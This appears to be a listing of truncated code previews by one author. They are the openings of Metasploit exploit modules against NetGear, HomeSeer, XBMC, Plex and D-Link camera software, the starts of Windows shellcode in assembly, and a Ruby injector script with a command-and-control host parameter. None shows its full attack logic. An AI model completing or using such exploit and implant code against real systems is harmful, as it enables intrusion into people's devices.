phikshun

require 'msf/core'
require 'crypt/blowfish' # sorry, openssl is limited to 16-byte key size :(
                         # add gem 'crypt', '1.1.4' to Gemfile

module ::Crypt
class Blowfish
  def setup_blowfish()
    @sBoxes = Array.new(4) { |i| INITIALSBOXES[i].clone }
    @pArray = INITIALPARRAY.clone
    keypos = 0

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetGear UPnP CSRF',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HomeSeer Code Execution Vulnerability',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XBMC Remote UDP Code Exec',

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Plex Code Execution Vulnerability',

phikshun

require 'msf/core'
require 'timeout'

class Metasploit3 < Msf::Auxiliary
  Rank = AverageRanking
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'myDLink Camera DCP Command Execution',
      'Description'    => %q{

phikshun

%define u(x) __utf16__(x)
[BITS 64]
[ORG 0]

    cld                                ; Clear the direction flag.
    and     rsp, 0xFFFFFFFFFFFFFFF0    ; Ensure RSP is 16 byte aligned
    mov     rsi, rsp                   ; ESI points to the current postion of the stack (for ref local var)
    sub     rsp, 0x2000                ; Allocate some stack space

    call     start                     ; Call start, this pushes the address of 'api_call' onto the stack.

phikshun

%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]

  cld
  mov    esi, esp  ; ESI points to the current postion of the stack (for ref local var)
  sub    esp, 0x2000 ; Alloc some space on stack
  call   start
delta:

phikshun

%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]

	cld
	mov		esi, esp					; ESI points to the current postion of the stack (for ref local var)
	sub 	esp, 0x2000     	; Alloc some space on stack
	call 	start
delta:
%include "block_api32.asm"

phikshun

require 'win32/pipe'
require 'timeout'
require 'injector'

def update_https_code(cnc_host, url, params, pipe)
  pipe = "\\\\.\\pipe\\#{pipe}"
  url = "#{url}\x00\x00\x00\x00\x00\x00" if url.length < 6
  params = "\x00" if params.empty?
  pipe_offset = (@https_pipe_code =~ /\\\\\.\\pipe\\fooo/)
  url_offset  = (@https_pipe_code =~ /\/12345/)